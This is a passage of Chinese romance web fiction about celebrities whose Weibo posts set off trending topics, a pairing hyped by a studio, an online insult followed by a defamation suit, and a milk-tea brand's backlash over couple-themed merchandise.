沈司南牵着许祭的衣角，跟在绫司司和李诺言身后，慢慢朝着出口走去。他的脚步很轻，却不再像之前那样，带着一丝茫然。 他累了。 可他知道，他不是一个人。 有人会陪他回民宿，有人会给他热蛋烘糕，有人会抱着他，让他好好睡一觉。 成都的风，温柔地拂过他的发梢。 他是沈司南，也是阿怨。 他可以累，也可以被人疼。 这就够了。 成都民宿的午后，阳光透过窗棂，在地板上投下斑驳的光影。沈司南坐在地毯上，怀里抱着熊猫玩偶，指尖捏着那串萤石手链，许祭则蹲在他身侧，一手轻轻扶着他的胳膊，一手拿着两人的手机。 民宿里很安静，绫司司和李诺言出去买沈司南爱吃的蛋烘糕了，只剩下他们两人，连空气都带着一丝温柔的缱绻。 许祭侧头看了看沈司南，眼底满是宠溺：“想好了吗？要和我一起发这条微博。” 沈司南轻轻点了点头，长睫垂落，遮住了眼底的情绪，声音却带着前所未有的坚定：“嗯。” 两人的微博界面，几乎是同时刷新。没有花哨的配图，没有复杂的文案，只有一行一模一样的文字，简单却带着千钧之力，像是在对全世界宣告，又像是在对自己和解： 过去的事情就过去吧，cp的事情在想一想。 沈司南的微博，依旧是那个灰色的系统头像，却因为这条与许祭同步的微博，瞬间有了温度。 许祭的微博，头像是他亲手拍的萤石溪流，此刻也因为这条微博，多了一份属于沈司南的柔软。 两条微博发出的瞬间，像是在平静的湖面投下了两颗石子，瞬间激起千层浪。 最先发现的，是一直蹲守在两人微博下的粉丝。当看到两条内容一模一样的微博，当看到沈司南终于愿意放下过去，当看到两人提及“cp的事情在想一想”时，粉丝瞬间疯了，截图、转发、评论，一气呵成： 「天呐！司南和许祭一起发微博了！！！」 「“过去的事情就过去吧”！司南终于愿意放下那些痛苦了吗？！」 「cp的事情在想一想！这是不是意味着我们有机会了？！」 「呜呜呜太好哭了！司南终于走出阴霾了！许祭永远都在他身边！」 微博的推送机制瞬间启动，#沈司南许祭一起发微博# #过去的事情就过去吧# #沈司南许祭 cp的事情在想一想# 三个话题，以恐怖的速度冲上热搜榜首，服务器直接陷入瘫痪。 远在横店的陈杬祝，正在拍一场温情的戏，手机震个不停，助理匆匆跑过来，将手机递到她面前，声音里带着激动：“杬祝姐！司南和许祭一起发微博了！” 陈杬祝的台词瞬间卡壳，她一把抢过手机，看到那条微博时，眼底的红血丝瞬间被温柔取代，泪水毫无预兆地滑落，却带着释然的笑容。她知道，那个孩子，终于愿意放下过去的那些痛苦，终于愿意给自己一个机会，也给许祭一个机会。 她几乎是立刻，就在两人的微博下都留了言。 在沈司南的微博下，她写道：「未来的每一天，都要开心。」 在许祭的微博下，她写道：「好好照顾他。」 这两条评论，瞬间被顶上了热评第一。粉丝们纷纷跟上，用自己的方式，表达着对两人的祝福： 「杬祝姐姐放心！我们都会守护司南的！」 「许祭一定要好好照顾司南啊！他值得所有的温柔！」 「过去的就让它过去吧！未来的日子，要一起走下去啊！」 成都的民宿里，绫司司和李诺言提着蛋烘糕回来，看到两人的微博后，兴奋地跳了起来。李诺言跑到沈司南身边，将还热乎的蛋烘糕递到他面前，声音里带着雀跃：“司南！你和许祭哥哥一起发微博了！太好了！” 绫司司也跟着点头，眼底满是欣慰：“过去的事情终于可以过去了！司南，你以后一定要开开心心的！” 沈司南接过蛋烘糕，咬了一口，芝麻的香甜在口腔里弥漫开来。他抬起头，看向许祭，眼底的疏离早已消失不见，取而代之的是满满的软糯与依赖。 许祭伸出手，轻轻揉了揉他的头发，声音温柔得能滴出水来：“以后，不管发生什么，我都陪在你身边。” 沈司南轻轻“嗯”了一声，将脸埋进许祭的颈窝，声音闷闷的，却带着一丝满足：“好。” 阳光依旧温暖，蛋烘糕的香气弥漫在民宿的每一个角落。 沈司南和许祭的微博，依旧挂在热搜榜首。 那条“过去的事情就过去吧，cp的事情在想一想”的微博，被无数人转发，无数人评论。 没有人再去提及旭念安的恶意，没有人再去纠结沈司南的过去，所有人都在祝福，祝福这个刚走出阴霾的孩子，祝福这对相互陪伴的人。 沈司南是沈司南，是苗寨的祭祀，是二十岁跳崖护寨的英雄。 他也是阿怨，是被苗寨温柔守护的宝贝，是会对着萤石溪流笑的孩子。 而现在，他还是那个愿意和许祭一起，放下过去，期待未来的沈司南。 许祭是许祭，是那个永远站在沈司南身后，默默守护他的人。 是那个愿意陪他去看遍世间风景，愿意陪他一起面对所有风雨的人。 过去的事情，就让它过去吧。 未来的日子，还很长。 cp的事情，可以慢慢想。 只要他们在一起，就好。 横店的春夜，还带着料峭的寒意。陈杬祝刚结束《绫霄笙笙》的补拍戏份，卸了妆的脸上还带着一丝倦意，却被经纪人连拉带拽地往隔壁摄影棚赶——说是新签的练习生要试镜一部校园剧的男一号，导演是她的老熟人，特意请她去提点两句。 她本是耐着性子应付，踩着细高跟走在堆满器材的过道里，目光漫不经心地扫过周围忙碌的工作人员。直到拐角处的一盏柔光箱下，那个少年的身影撞进她的眼底。 许金鑫穿着一身干净的白衬衫，袖口挽到小臂，露出线条流畅的腕骨。他正低头对着剧本，眉峰微蹙，长长的睫毛在眼睑下投下一小片阴影，阳光透过天窗落在他的发顶，镀上了一层柔软的金边。不知是看到了什么台词，他忽然抬眼，那双眼睛亮得惊人，像盛着夏夜的星子，清澈又带着一丝不自知的倔强。 “卡！”导演的声音响起，许金鑫立刻放下剧本，对着镜头微微鞠躬，声音干净又带着少年气的腼腆：“谢谢导演，谢谢各位老师。” 就是这一眼，这一声。 陈杬祝的心跳，漏了一拍。 她站在原地，忘了抬脚，忘了自己来这里的目的。脑海里反复回放的，是他低头时的专注，是他抬眼时的清澈，是他鞠躬时微微泛红的耳尖。那股属于少年人的干净与鲜活，像一道猝不及防的光，劈开了她这些年被娱乐圈的名利、纷争、尔虞我诈包裹的世界。 她见过太多精致的面孔，见过太多刻意的逢迎，见过太多在镜头前游刃有余的艺人。可许金鑫不一样。他的紧张是真的，他的专注是真的，他眼底的纯粹，也是真的。 “杬祝？杬祝姐？”经纪人在她耳边小声提醒，“导演在叫你呢。” 陈杬祝猛地回神，脸上竟难得地泛起一丝热意。她定了定神，强装镇定地走到导演身边，目光却还是不受控制地落在许金鑫身上。 少年似乎也察觉到了她的注视，下意识地挺直了脊背，眼神里带着一丝无措，却还是努力挤出一个礼貌的微笑。那笑容很淡，却像一颗糖，轻轻砸在陈杬祝的心尖上，甜得她连呼吸都变得轻柔。 导演拉着许金鑫走到她面前，笑着介绍：“杬祝，这是我们公司新签的练习生，许金鑫。小金鑫，这是陈杬祝老师，你可得好好跟她学学。” “陈杬祝老师好。”许金鑫的声音比刚才更轻了些，微微低头，耳尖的红意更浓了。 “你好。”陈杬祝的声音，竟也带着一丝自己都没察觉的温柔。她看着他那双清澈的眼睛，忽然不知道该说些什么提点的话，最后只憋出一句，“刚刚的试镜，很好。” 许金鑫的眼睛瞬间亮了，像得到了糖果的孩子，连眉峰都舒展开来：“谢谢老师！我还会继续努力的！” 那一刻，陈杬祝清晰地听到自己心底的声音。 她对这个叫许金鑫的少年，一见钟情了。 不是对艺人许金鑫的欣赏，不是对后辈的提携，而是一个女人，对一个少年，最纯粹、最猝不及防的心动。 离开摄影棚的时候，陈杬祝的脚步都有些飘。经纪人察觉到她的不对劲，打趣道：“怎么了杬祝？今天这么反常？不会是看上那个小练习生了吧？” 陈杬祝没有否认，只是抬手摸了摸自己发烫的脸颊，嘴角不自觉地勾起一抹浅淡的笑容。 她的手机屏幕亮了一下，是沈司南和许祭一起发的微博推送。她点开看了一眼，眼底的温柔更浓了。司南终于放下了过去，找到了属于自己的平静。而她，也在这个春夜，遇到了属于自己的心动。 回到保姆车，陈杬祝第一次没有立刻看剧本，也没有回复工作消息。她只是靠在座椅上，闭上眼睛，脑海里全是许金鑫的身影。 白衬衫，星子眼，泛红的耳尖，干净的笑容。 原来，心动是这样的感觉。 像春风拂过湖面，像夏雨打湿芭蕉，像秋叶落在肩头，像冬雪覆盖大地。 无声无息，却又惊天动地。 她拿出手机，点开微博，犹豫了很久，最终还是没有发任何文字。只是换了一张新的头像——那是她刚才在摄影棚外，偷偷拍的一张许金鑫的侧影。少年站在柔光下，低头看着剧本，岁月静好。 微博的评论区很快就炸了锅，粉丝们纷纷猜测她换头像的原因。 只有陈杬祝自己知道。 从这个春夜开始，她的世界里，多了一个叫许金鑫的少年。 一个让她一见钟情，让她想要珍藏的少年。 横店的夜，依旧漫长。 但陈杬祝的心里，却已经春暖花开。 21. 好一个兵荒马乱 许金鑫的微博发在次日清晨，彼时陈杬祝刚结束晨跑，正擦着汗翻看手机，屏幕亮起的瞬间，那条带着@符号的动态，瞬间让她的心跳漏了一拍。 少年的微博界面干净得像张白纸，头像是一只憨态可掬的熊猫玩偶——谁都能认出，那是沈司南在成都熊猫基地抱着的同款。配图只有一张，却选得极为用心：正是陈杬祝在《绫霄笙笙》剧组的一张花絮照。 照片里的陈杬祝一身玄色劲装，衣摆绣着暗金流云纹，头戴七曜金冠，流苏垂落眉眼间，却遮不住眼底的凛冽与决绝。她背对着镜头，面向不远处红绸漫天的婚礼殿堂，光影在她身上切割出冷硬的轮廓，明明是剧组里最具张力的一幕戏，却被许金鑫捕捉到了一种孤绝的美。 文案简短却真诚，末尾清晰地@了陈杬祝的账号，字里行间带着少年人特有的腼腆与雀跃： @杬祝 谢谢杬祝姐，拍的很好看。 微博发出的瞬间，像是在平静的湖面投下了一颗石子，瞬间激起千层浪。 最先炸开的是陈杬祝的粉丝，她们一眼就认出了那张照片的出处，更从少年的文案里嗅出了不一样的味道： 「天呐！小金鑫怎么会有杬祝姐的剧组花絮照？！」 「这句“拍的很好看”，是在夸照片还是在夸人啊！我先磕为敬！」 「救命！杬祝姐这一身黑衣金冠也太绝了！孤高清冷的气质拉满！」 「少年人的真诚最是打动人！谢谢小金鑫让我们看到杬祝姐这么绝的造型！」 很快，关注着沈司南与许祭的网友也涌了过来，看到许金鑫的熊猫头像时，忍不住会心一笑： 「熊猫头像！这是和司南、许祭他们有什么渊源吗？」 「少年人好有礼貌！谢谢杬祝姐的提点，还特意发微博感谢！」 「陈杬祝老师值得！小金鑫也要好好加油啊！」 #许金鑫谢谢杬祝姐# #陈杬祝 黑衣金冠造型# #许金鑫熊猫头像# 三个话题迅速冲上热搜，评论区里一片和乐融融，与之前旭念安引发的舆论风暴形成了鲜明的对比。 横店的《绫霄笙笙》剧组，陈杬祝看着那条微博，指尖不自觉地摩挲着手机屏幕，脸上泛起一丝不易察觉的红晕。她想起昨夜在摄影棚外，自己鬼使神差地拍下了许金鑫的侧影，又怎么会想到，这个少年竟也藏着一张她的剧组照片。 原来，心动从来都不是单方面的奔赴。 她几乎是立刻，就在许金鑫的微博下回复了，语气里带着前辈对后辈的鼓励，却又藏着一丝只有自己才懂的温柔： 「你的试镜更棒，继续加油。」 这条回复瞬间被顶上热评第一，粉丝们纷纷跟上，用自己的方式祝福着这对刚认识的前辈与后辈： 「杬祝姐好温柔！小金鑫要好好努力啊！」 「双向的奔赴太美好了！一个感谢提点，一个鼓励加油！」 「期待小金鑫的校园剧，也期待杬祝姐的《绫霄笙笙》！」 远在成都的民宿里，沈司南正趴在许祭的肩头，看着手机屏幕里许金鑫的熊猫头像，眼底泛起一丝好奇：「这个哥哥的头像，和我的熊猫一样。」 许祭低头，轻轻吻了吻他的发顶，声音温柔：「嗯，他也是个很可爱的人。」 绫司司凑过来看了一眼，笑着说道：「陈杬祝姐终于遇到了让她心动的人！小金鑫也很有礼貌，这对也太好磕了吧！」 李诺言也跟着点头：「是啊是啊！以后我们可以一起约着玩！司南可以和小金鑫一起看熊猫！」 沈司南似懂非懂地点了点头，嘴角勾起一抹浅淡的笑容。他不懂什么是心动，却知道，陈杬祝姐姐看起来很开心，而许金鑫哥哥的头像，和他的熊猫一样可爱。 横店的阳光，透过窗户落在陈杬祝的身上，泛着温暖的光泽。她收起手机，走到化妆镜前，看着镜中自己的身影，嘴角不自觉地勾起一抹笑容。 昨夜的心动还在心底蔓延，今日的惊喜又悄然降临。 她的世界里，曾经有过对沈司南的心疼与守护，而现在，又多了一个叫许金鑫的少年，带着干净的笑容，闯入了她的生活。 许金鑫的微博，依旧挂在热搜上。 那张陈杬祝黑衣金冠的照片，被无数人转发与夸赞。 而少年的那句「谢谢杬祝姐，拍的很好看」，也成了这个春天，最温暖的一句告白。 横店的风，温柔地拂过片场的树梢。 陈杬祝的心里，春暖花开。 许金鑫的星途，刚刚启程。 他们的故事，才刚刚开始。 横店的午后，阳光透过保姆车的车窗，落在陈杬祝摊开的剧本上，《绫霄笙笙》的台词旁，被她用红笔标注了密密麻麻的笔记。手机屏幕突然亮起，弹出的微信消息来自李诺言，那个在四川热情招待过沈司南的姑娘，语气里带着毫不掩饰的娇憨与想念。 陈杬祝指尖轻点，点开消息—— 「杬祝姐！我好想你啊！??成都的蛋烘糕都没有你在的时候好吃了！司南和许祭哥哥最近都很乖，不过我还是想你！什么时候来四川玩啊？我给你留着最甜的蛋烘糕！」 末尾还跟了一张自拍，照片里的李诺言举着一个空了的蛋烘糕纸袋，鼓着腮帮子，背景是宽窄巷子的红灯笼，眉眼间的想念清晰可见。 陈杬祝看着这条消息，眼底的倦意瞬间被温柔取代，嘴角不自觉地勾起一抹浅淡的笑容。她想起在四川时，李诺言拉着沈司南的手，蹦蹦跳跳地介绍沿途风景的样子，想起姑娘拿着蛋烘糕，小心翼翼递到沈司南面前的模样，那份纯粹的热情与真诚，总能轻易打动人心。 没有丝毫犹豫，陈杬祝截图保存了这条消息，点开微博，直接上传了这张截图。没有配文，没有@任何人，甚至没有加任何滤镜，只有聊天界面里那句直白的「我好想你啊」，和李诺言娇憨的自拍。 微博发出的瞬间，评论区便被瞬间刷屏。 陈杬祝的粉丝最先赶来，看着这条充满烟火气的消息，忍不住会心一笑： 「呜呜呜诺言妹妹也太可爱了！这句好想你直接戳中我的心巴！」 「蛋烘糕：我招谁惹谁了！没有杬祝姐在就不好吃了是吧！」 「救命！这是什么神仙友谊！一个在横店拍戏，一个在四川想念，太好磕了！」 关注着沈司南动态的网友也纷纷涌入，看到消息里提及沈司南和许祭「最近都很乖」，悬着的心瞬间放下： 「司南和许祭都很乖！太好了！看来他们在成都过得很开心！」 「诺言妹妹真的好贴心！不仅照顾司南，还惦记着杬祝姐！」 「这张自拍也太可爱了吧！鼓着腮帮子像只小仓鼠！」 #李诺言 我好想你啊# #陈杬祝 截图发微博# #司南许祭最近都很乖# 三个话题迅速冲上热搜，评论区里一片和乐融融，满是对这份跨城友谊的羡慕与祝福。 远在成都的民宿里，李诺言正窝在沙发上，刷到陈杬祝的微博时，瞬间从沙发上弹了起来，脸颊涨得通红，手指飞快地给陈杬祝发消息： 「杬祝姐！你怎么把我的消息发微博了呀！??我好害羞！」 陈杬祝看到消息，笑着回复：「这么可爱的想念，值得被大家看到。」 而坐在一旁的沈司南，正抱着熊猫玩偶，听绫司司念着微博上的评论，眼底泛起一丝软糯的光：「诺言姐姐，想陈杬祝姐姐了。」 许祭揉了揉他的头发，声音温柔：「等我们回去，就约杬祝姐一起吃饭，好不好？」 沈司南轻轻点了点头，嘴角勾起一抹浅淡的笑容。 横店的片场，陈杬祝将手机揣回口袋，拿起剧本，目光重新落回台词上。可心底的那份温暖，却久久没有散去。 她的世界里，有过对沈司南的心疼与守护，有过对许金鑫的一见钟情，而现在，又多了一份来自李诺言的，纯粹而热烈的想念。 这条只有截图的微博，没有任何华丽的辞藻，却成了这个午后，最温暖的一道光。 它让所有人都知道，在这个光怪陆离的娱乐圈里，不仅有纷争与算计，还有着跨越山海的友谊，和毫不掩饰的想念。 陈杬祝的微博评论区里，还在不断刷新着新的留言。 而成都的民宿里，李诺言正红着脸，和绫司司一起，计划着下一次和陈杬祝的见面。 阳光正好，微风不燥。 他们的故事，还在继续。 夜色渐深，横店的片场终于安静下来。许金鑫回到临时租住的公寓，脱下身上的练习生制服，随手扔在沙发上。客厅的灯光柔和，他却没有丝毫睡意，指尖在手机屏幕上反复摩挲，最终还是点开了与工作室对接人的微信对话框。 没有多余的寒暄，也没有丝毫的犹豫，少年的文字带着一股不容错辨的坚定，一字一句敲得清晰： 「帮我安排一下，接下来的通稿和物料，重点抄我和陈杬祝姐的cp。不用太刻意，自然一点就好，突出我们之间的前辈后辈情谊，还有那种互相欣赏的氛围感。」 发送成功的瞬间，许金鑫的耳尖微微泛红。他靠在沙发上，拿起桌上的手机，点开陈杬祝的微博主页。屏幕上，是她不久前发的李诺言的消息截图，评论区里满是温暖的互动。他的目光，又落在了自己微博里那张陈杬祝黑衣金冠的剧组照上，心底的那份悸动，再次悄然蔓延。 他不是不懂娱乐圈的规则，也不是不知道炒cp可能带来的争议。可他更清楚，自己对陈杬祝的欣赏是真的，那份初见时的心动也是真的。他想离她近一点，想让更多人看到他们之间的默契，更想借着这份热度，让自己快速成长起来——只有变得足够优秀，才能配得上站在她的身边。 工作室的对接人几乎是秒回，语气里带着一丝惊讶，却还是恭敬地应下：「收到金鑫。我们会立刻制定方案，保证把控好尺度，突出氛围感，不会给您和陈杬祝老师带来困扰。」 许金鑫看着回复，轻轻「嗯」了一声，手指在屏幕上敲下最后一句叮嘱：「重点是保护好杬祝姐，不能让她受到任何非议。」 另一边，陈杬祝刚结束一天的拍摄，正坐在保姆车里卸妆。手机屏幕亮了一下，是工作室发来的消息，提醒她许金鑫的工作室刚刚对接了关于两人cp的通稿计划。她的指尖一顿，眼底闪过一丝惊讶，随即又被温柔的笑意取代。 她点开自己的微博，翻到许金鑫那条@她的微博，看着照片里自己黑衣金冠的模样，又想起少年在摄影棚里那干净的笑容，心底的暖意层层叠叠。 没有丝毫犹豫，陈杬祝截图了许金鑫发给工作室的那条微信消息——她特意隐去了工作室对接人的头像和昵称，只留下了许金鑫的文字内容。然后，她点开微博，上传了这张截图。 没有配文，没有@任何人，甚至没有加任何滤镜。 微博发出的瞬间，全网瞬间炸锅。 最先反应过来的是陈杬祝的粉丝，她们看着截图里许金鑫的文字，尤其是那句「重点是保护好杬祝姐」，瞬间被少年的细心打动： 「天呐！小金鑫也太贴心了吧！炒cp还不忘保护杬祝姐！」 「这份坚定谁懂啊！『不用太刻意，自然一点』，这才是正确的炒cp打开方式！」 「呜呜呜少年人的心动藏不住了！既要靠近，又要保护，太戳心了！」 关注着两人的网友也纷纷涌入，评论区里一片欢呼： 「这对cp我锁死了！钥匙我吞了！」 「许金鑫你是懂怎么追姐姐的！既要热度，又要保护她，太man了！」 「陈杬祝老师也太宠了吧！直接截图发微博，这是默认了吧！」 #许金鑫保护好杬祝姐# #陈杬祝 截图发微博# #许金鑫陈杬祝 cp# 三个话题以雷霆之势冲上热搜榜首，服务器直接陷入瘫痪。 远在成都的民宿里，李诺言正抱着手机，刷到陈杬祝的微博时，瞬间从沙发上跳了起来：「杬祝姐！小金鑫哥哥也太甜了吧！他居然让工作室炒他们的cp！还不忘保护杬祝姐！」 沈司南趴在许祭的肩头，歪着头看手机屏幕，眼底满是好奇：「炒cp是什么？」 许祭低头，轻轻吻了吻他的发顶，声音温柔：「就是两个人一起，让更多人看到他们的好。」 绫司司凑过来看了一眼，笑着说道：「这对也太好磕了吧！小金鑫的细心，杬祝姐的宠溺，简直是天作之合！」 李诺言用力点头：「是啊是啊！等我们回横店，一定要约他们一起吃饭！我要亲眼看看这对甜蜜的cp！」 沈司南似懂非懂地点了点头，嘴角勾起一抹浅淡的笑容。他不懂什么是炒cp，却知道，陈杬祝姐姐看起来很开心，而许金鑫哥哥是个很贴心的人。 横店的夜，依旧漫长。 许金鑫坐在公寓的沙发上，看着陈杬祝发的微博，耳尖的红意一直蔓延到脖颈。他没有想到，陈杬祝会直接截图发微博，更没有想到，自己的小心思，会被她以这样的方式公之于众。 他拿起手机，给陈杬祝发了一条微信：「杬祝姐，对不起，我是不是太冲动了？」 陈杬祝的回复很快，带着一丝温柔的笑意：「没有，我觉得很好。」 那一刻，许金鑫的心底，像是有烟花炸开。 他知道，自己的心动，终于有了回应。 陈杬祝靠在保姆车的座椅上，看着手机屏幕里许金鑫的回复，嘴角的笑容越来越深。 她的世界里，曾经有过对沈司南的心疼与守护，有过来自李诺言的纯粹想念，而现在，又多了一个叫许金鑫的少年，带着干净的心动和细心的保护，闯入了她的生活。 这条只有截图的微博，没有任何华丽的辞藻，却成了这个夜晚，最动人的告白。 它让所有人都知道，在这个光怪陆离的娱乐圈里，不仅有跨越山海的友谊，还有着少年人最纯粹的心动，和成年人最温柔的回应。 横店的风，温柔地拂过公寓的窗户。 许金鑫的星途，刚刚启程。 陈杬祝的故事，还在继续。 他们的cp，才刚刚开始。 黎苏酥的微博发在深夜十二点整，像一颗淬了毒的石子，狠狠砸进平静的网络浪潮里。彼时许金鑫刚结束一天的练习，正趴在桌上给陈杬祝发去晚安消息；陈杬祝则刚卸完妆，靠在保姆车座椅上，看着手机屏幕里少年的文字，眼底满是温柔。 这条微博没有任何配图，只有一个刺眼的@符号，和两个字的恶毒谩骂，字里行间的嫉妒与戾气几乎要冲破屏幕： @杬祝 小三 黎苏酥是谁？是许金鑫从小一起长大的青梅，两人家住在同一个小区，一起上的小学和初中，她更是在许金鑫签约经纪公司后，第一时间开通了微博，简介里明晃晃写着「许金鑫的青梅」。她的突然发难，瞬间让全网炸开了锅。 微博发出的瞬间，评论区便被愤怒的声音淹没。 陈杬祝的粉丝率先冲锋，字字诛心： 「黎苏酥你疯了吗？！什么叫小三？！杬祝姐和金鑫只是前辈后辈的关系！」 「青梅又怎么样？！青梅就能随意辱骂他人了吗？！你才是那个见不得别人好的跳梁小丑！」 「@许金鑫快管管你的青梅！她这是在毁了你和杬祝姐的名声！」 关注着许金鑫与陈杬祝的网友，也被这两个字激怒，之前对两人cp的祝福瞬间转化为对黎苏酥的厌恶： 「小三？！你哪只眼睛看到杬祝姐当小三了？！他们之间明明是最纯粹的互相欣赏！」 「黎苏酥的嫉妒心也太可怕了！金鑫只是发了一条感谢微博，你就这么恶毒？！」 「抵制黎苏酥！这种心胸狭隘的人，不配待在金鑫的身边！」 #黎苏酥小三# #黎苏酥嫉妒疯了# #请黎苏酥向陈杬祝道歉# 三个话题以恐怖的速度冲上热搜榜首，服务器直接陷入瘫痪。黎苏酥的微博评论区瞬间沦陷，愤怒的网友们刷着「道歉」的词条，几乎要将她的微博服务器挤爆。 远在练习室的许金鑫，看到这条微博的瞬间，脸色瞬间变得惨白。他几乎是立刻，就给黎苏酥打去了电话，电话接通的瞬间，他的声音里带着前所未有的冰冷与愤怒：「黎苏酥，你立刻删掉微博，向杬祝姐道歉！」 「金鑫，我没错！」黎苏酥的声音里带着哭腔，却依旧倔强，「她就是小三！她凭什么占着你的微博，凭什么让你对着她笑，凭什么让你为了她炒cp？！我才是那个陪你长大的人！」 「你简直不可理喻！」许金鑫怒吼一声，直接挂断了电话。他没有丝毫犹豫，点开自己的微博，发布了一条前所未有的严厉声明： 「本人与黎苏酥仅为儿时旧识，无任何特殊关系。黎苏酥女士今日在微博发布的恶意言论，与本人无关。本人在此郑重向陈杬祝老师道歉，给您带来的困扰，我深感抱歉。同时，也请黎苏酥女士立刻删除微博，公开向陈杬祝老师道歉。」 这条声明没有任何修饰，只有赤裸裸的切割与道歉，瞬间让全网的风向更加一边倒。 而此刻的保姆车里，陈杬祝看到黎苏酥的微博时，眼底的温柔瞬间被冰冷取代。她没有发微博，也没有打电话，只是直接让经纪人联系了律师，声音平静却带着不容错辨的决绝：「以诽谤罪，起诉黎苏酥。」 律师的动作很快，几乎是在一小时内，就向法院提交了起诉状。起诉状里清晰地列出了黎苏酥的恶意言论，以及这些言论对陈杬祝造成的名誉损害，证据确凿，无可辩驳。 远在成都的民宿里，李诺言刷到这条微博时，气得直接把手机摔在了沙发上，声音里带着哭腔：「这个黎苏酥太过分了！杬祝姐哪里对不起她了？！她居然骂杬祝姐是小三！」 沈司南趴在许祭的肩头，歪着头看手机屏幕，眼底满是不解：「小三是什么？是不好的词吗？」 许祭的脸色瞬间冷了下来，他轻轻拍了拍沈司南的后背，声音里带着一丝不易察觉的怒意：「是不好的词。有人在欺负陈杬祝姐姐。」 绫司司凑过来看了一眼，眉头皱得能夹死一只蚊子：「黎苏酥这是典型的嫉妒心作祟！金鑫明明只是把她当妹妹，她却想占为己有！」 李诺言用力点头：「是啊是啊！杬祝姐一定要告她！让她付出代价！」 沈司南似懂非懂地点了点头，嘴角的笑容瞬间消失了。他不懂什么是嫉妒，却知道，陈杬祝姐姐被人欺负了，而欺负她的人，是许金鑫哥哥的青梅。 横店的夜，依旧漫长。 许金鑫坐在练习室的地板上，看着自己与陈杬祝的微博互动，眼底满是自责。他从来没有想过，自己的心动会给陈杬祝带来这样的困扰，更没有想过，自己的青梅会做出如此恶毒的事情。 他拿起手机，给陈杬祝发了一条微信，文字里带着深深的歉意：「杬祝姐，对不起，都是我的错。我会让她给你道歉的。」 陈杬祝的回复很快，带着一丝温柔的安慰：「不关你的事。你没有错。」 那一刻，许金鑫的心底，像是被什么东西狠狠揪了一下。他知道，自己必须变得更加强大，才能保护好陈杬祝，才能不让她受到任何一点伤害。 黎苏酥的微博，依旧挂在热搜榜首。 那两个字的恶毒谩骂，像一根刺，扎在所有人的心里。 而许金鑫的声明，陈杬祝的起诉，让所有人都知道，这场无端的恶意，终将付出惨痛的代价。 横店的风，温柔地拂过公寓的窗户。 许金鑫的星途，刚刚启程。 陈杬祝的故事，还在继续。 他们的cp，不会因为一场无端的嫉妒，就轻易被拆散。 而黎苏酥的疯狂，不过是他们生命里的一段小插曲，很快就会被遗忘在时光的长河里。 午后的阳光透过保姆车的车窗，在陈杬祝的剧本上投下细碎的光斑。她刚结束《绫霄笙笙》的一场重头戏，指尖还沾着未擦净的戏妆金粉，经纪人的电话就打了进来，声音里带着难掩的兴奋。 “杬祝！爆了！奶茶的品牌方刚刚正式发来了合作邀请！是全线代言人！” 陈杬祝握着手机的指尖微微一顿，眼底掠过一丝讶异，随即被淡淡的笑意取代。奶茶是国内顶流的新茶饮品牌，向来以挑代言人的眼光毒辣著称，合作门槛极高，不仅要求艺人的国民度与口碑，更看重艺人与品牌“清新、治愈、有温度”的调性契合度。 挂了电话没两分钟，品牌方的合作邮件就精准地投递到了工作邮箱。陈杬祝点开邮件，精致的电子邀请函上，印着奶茶的标志性暖橙色logo，正文里的字句诚恳又热情——不仅敲定了全线代言人的身份，还特意提到，希望能结合她近期的热度，在宣传中融入“双向奔赴的温柔”与“跨城的治愈陪伴”两大核心概念，甚至主动提出，可以邀请许金鑫共同拍摄一支双人宣传短片。 “他们连金鑫都考虑到了？”陈杬祝挑了挑眉，语气里带着几分玩味。 经纪人笑着凑过来，将刚打印好的合作方案放在她面前：“品牌方说了，你和金鑫的前辈后辈互动太戳人了，尤其是金鑫那句‘保护好杬祝姐’，还有你截图发微博的宠溺，完美契合他们家新品‘暖心双拼’的定位。而且司南和许祭在成都的熊猫之旅，李诺言的蛋烘糕想念，这些热度都能联动起来，打造一场全民级的治愈营销。” 陈杬祝的目光落在方案里“双人宣传短片”的字样上，脑海里不自觉地浮现出许金鑫穿着白衬衫，在柔光下低头浅笑的模样。少年干净的眼神，泛红的耳尖，还有那句真诚的“谢谢杬祝姐，拍的很好看”，都与奶茶的暖橙色调莫名地契合。 “我这边没问题。”陈杬祝的声音平静却带着笃定，“不过双人短片的事，得先问问金鑫的意愿，还有，宣传的尺度要把控好，重点突出治愈和陪伴，不要过度消费cp。” 经纪人立刻点头：“放心！我马上和金鑫的工作室对接。品牌方那边也说了，一切以你的意愿为准。” 消息传到许金鑫的练习室时，少年刚结束一组体能训练，额头上还挂着细密的汗珠。听到奶茶的合作邀请，尤其是得知要和陈杬祝共同拍摄宣传短片，他的眼睛瞬间亮了起来，耳尖的红意迅速蔓延，连带着声音都带着一丝不易察觉的雀跃：“我愿意！什么时候拍？我随时都可以！” 工作室的对接人被他的反应逗笑，连忙回复：“品牌方正在协调档期，估计这周末就能进组。对了，金鑫，陈老师特意叮嘱了，宣传尺度要自然，突出治愈陪伴。” “我知道！”许金鑫用力点头，眼底的光芒更盛，“我一定会保护好杬祝姐，不会让她受到任何非议。” 而远在成都的民宿里，李诺言刷到陈杬祝即将代言奶茶的消息时，瞬间从沙发上跳了起来，举着手机冲沈司南和许祭欢呼：“杬祝姐太厉害了！居然代言了奶茶！我最喜欢他们家的珍珠奶茶了！” 沈司南抱着熊猫玩偶，歪着头看手机屏幕上奶茶的暖橙色logo，眼底泛起一丝软糯的光：“这个颜色，和蛋烘 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夕阳落下，华灯初上。 陈杬祝的手机里，还在不断弹出工作消息与粉丝的祝福。 许金鑫的练习室里，少年正对着镜子，反复练习着微笑的弧度。 成都的民宿里，李诺言正拉着绫司司，计划着下一次的奶茶之约。 而沈司南的怀里，熊猫玩偶的耳朵，正被阳光镀上一层柔软的金边。 他们的故事，还在继续。 而这场与奶茶的合作，注定会成为这个春天，最治愈的一段插曲。 爬爬奶茶的cp周边上线，选在了陈杬祝与许金鑫双人宣传短片释出的次日正午。品牌官旗同步上架的系列单品，精准踩着“双向奔赴”的热度：印着两人同框剪影的情侣杯套、刻着“杬祝金鑫”缩写的联名吸管、甚至推出了“买双人套餐赠CP钥匙扣”的捆绑活动，钥匙扣上的Q版形象，还原了陈杬祝黑衣金冠与许金鑫白衬衫的经典造型。 品牌方本以为能借势收割一波cp粉红利，却没料到，上线不到两小时，舆论就彻底跑偏。 最先发难的是陈杬祝的唯粉，她们看着被过度消费的偶像形象，愤怒瞬间爆发：“爬爬奶茶要不要脸？杬祝是全线代言人，不是你的cp工具人！”“为了卖货硬绑cp，钥匙扣上的互动设计都越界了，这是在消耗她的口碑！”更有粉丝翻出购买规则，吐槽“想要单人周边必须买双人套餐”的强制消费模式，直指品牌“割韭菜无底线”，甚至出现“买两杯奶茶扔一杯只为单人周边”的浪费现象。 